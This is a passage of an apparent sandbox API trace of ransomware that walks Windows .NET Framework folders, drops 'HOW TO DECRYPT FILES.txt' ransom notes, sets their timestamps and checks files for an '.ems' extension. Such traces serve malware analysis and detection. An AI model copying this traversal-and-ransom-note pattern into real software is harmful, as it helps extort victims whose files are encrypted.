nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFontCache.exe.config", cAlternateFileName="")) returned 1 [0136.927] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.927] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFontCache.exe.config") returned -1 [0136.927] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFontCache.exe.config") returned -1 [0136.927] lstrcmpiA (lpString1="", lpString2="PresentationFontCache.exe.config") returned -1 [0136.927] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationCFFRasterizer.dll") returned="PresentationCFFRasterizer.dll" [0136.927] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.927] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.927] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.927] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0x20 [0136.927] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="PresentationFontCache.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationFontCache.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationFontCache.exe.config" [0136.927] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationFontCache.exe.config", pszSpec="*.ems") returned 0 [0136.928] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0e5c7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa0e5c7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa10bdda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationHostDLL.dll", cAlternateFileName="")) returned 1 [0136.928] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.928] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationHostDLL.dll") returned -1 [0136.928] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationHostDLL.dll") returned -1 [0136.928] lstrcmpiA (lpString1="", lpString2="PresentationHostDLL.dll") returned -1 [0136.928] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationFontCache.exe.config") returned="PresentationFontCache.exe.config" [0136.928] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.928] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.928] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.928] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0x20 [0136.928] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="PresentationHostDLL.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationHostDLL.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationHostDLL.dll" [0136.928] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationHostDLL.dll", pszSpec="*.ems") returned 0 [0136.928] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa218bd5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa218bd5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7e91ed9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="")) returned 1 [0136.928] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.928] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationUI.dll") returned -1 [0136.928] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationUI.dll") returned -1 [0136.928] lstrcmpiA (lpString1="", lpString2="PresentationUI.dll") returned -1 [0136.928] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationHostDLL.dll") returned="PresentationHostDLL.dll" [0136.928] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.929] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.929] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.929] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0x20 [0136.929] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="PresentationUI.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationUI.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationUI.dll" [0136.929] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationUI.dll", pszSpec="*.ems") returned 0 [0136.929] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4fb63f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab4fb63f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab7cf064, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpfgfx_v0300.dll", cAlternateFileName="")) returned 1 [0136.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.929] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wpfgfx_v0300.dll") returned -1 [0136.929] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wpfgfx_v0300.dll") returned -1 [0136.929] lstrcmpiA (lpString1="", lpString2="wpfgfx_v0300.dll") returned -1 [0136.929] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\PresentationUI.dll") returned="PresentationUI.dll" [0136.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" [0136.929] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\") returned="" [0136.929] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" [0136.929] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\how to decrypt files.txt")) returned 0x20 [0136.929] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="wpfgfx_v0300.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\wpfgfx_v0300.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\wpfgfx_v0300.dll" [0136.929] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\wpfgfx_v0300.dll", pszSpec="*.ems") returned 0 [0136.929] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x92c664c4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x92c664c4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlViewer", cAlternateFileName="XAMLVI~1")) returned 1 [0136.930] lstrcmpA (lpString1=".", lpString2="XamlViewer") returned -1 [0136.930] lstrcmpA (lpString1="..", lpString2="XamlViewer") returned -1 [0136.930] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\wpfgfx_v0300.dll") returned="wpfgfx_v0300.dll" [0136.930] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\", lpString2="XamlViewer" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer" [0136.930] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x92c664c4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x92c664c4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x501570, cFileName=".", cAlternateFileName="")) returned 0x502658 [0136.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.930] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x92c664c4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x92c664c4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0136.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.930] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca8d2e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xaca8d2e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7f14d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XamlViewer_v0300.exe", cAlternateFileName="")) returned 1 [0136.930] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.930] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XamlViewer_v0300.exe") returned -1 [0136.930] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XamlViewer_v0300.exe") returned -1 [0136.930] lstrcmpiA (lpString1="", lpString2="XamlViewer_v0300.exe") returned -1 [0136.930] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\*.*") returned="*.*" [0136.930] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" [0136.930] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="" [0136.930] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" [0136.930] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\xamlviewer\\how to decrypt files.txt")) returned 0xffffffff [0136.931] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\xamlviewer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0136.934] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.934] CloseHandle (hObject=0x94) returned 1 [0136.934] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="XamlViewer_v0300.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe" [0136.934] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe", pszSpec="*.ems") returned 0 [0136.934] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dc5f94, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dc5f94, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9dec0f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlViewer_v0300.exe.manifest", cAlternateFileName="")) returned 1 [0136.935] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XamlViewer_v0300.exe.manifest") returned -1 [0136.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XamlViewer_v0300.exe.manifest") returned -1 [0136.935] lstrcmpiA (lpString1="", lpString2="XamlViewer_v0300.exe.manifest") returned -1 [0136.935] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe") returned="XamlViewer_v0300.exe" [0136.935] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" [0136.935] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="" [0136.935] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" [0136.935] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\xamlviewer\\how to decrypt files.txt")) returned 0x20 [0136.935] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="XamlViewer_v0300.exe.manifest" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe.manifest") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe.manifest" [0136.935] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe.manifest", pszSpec="*.ems") returned 0 [0136.935] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d9fe34, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d9fe34, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9dc5f94, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1503, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlViewer_v0300.xbap", cAlternateFileName="")) returned 1 [0136.935] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XamlViewer_v0300.xbap") returned -1 [0136.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XamlViewer_v0300.xbap") returned -1 [0136.935] lstrcmpiA (lpString1="", lpString2="XamlViewer_v0300.xbap") returned -1 [0136.935] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.exe.manifest") returned="XamlViewer_v0300.exe.manifest" [0136.935] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" [0136.935] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\") returned="" [0136.935] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" [0136.935] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\wpf\\xamlviewer\\how to decrypt files.txt")) returned 0x20 [0136.936] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\", lpString2="XamlViewer_v0300.xbap" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.xbap") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.xbap" [0136.936] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\WPF\\XamlViewer\\XamlViewer_v0300.xbap", pszSpec="*.ems") returned 0 [0136.936] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d9fe34, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d9fe34, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9dc5f94, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1503, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlViewer_v0300.xbap", cAlternateFileName="")) returned 0 [0136.936] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0136.936] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x92c664c4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x92c664c4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XamlViewer", cAlternateFileName="XAMLVI~1")) returned 0 [0136.936] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.936] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName="WPF", cAlternateFileName="")) returned 0 [0136.936] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0136.936] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x920f1acf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x920f1acf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x330076, dwReserved1=0x30002e, cFileName="v3.5", cAlternateFileName="")) returned 1 [0136.936] lstrcmpA (lpString1=".", lpString2="v3.5") returned -1 [0136.936] lstrcmpA (lpString1="..", lpString2="v3.5") returned -1 [0136.936] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\*.*") returned="*.*" [0136.936] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\", lpString2="v3.5" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5" [0136.936] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x920f1acf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x920f1acf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0136.939] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x920f1acf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x920f1acf, 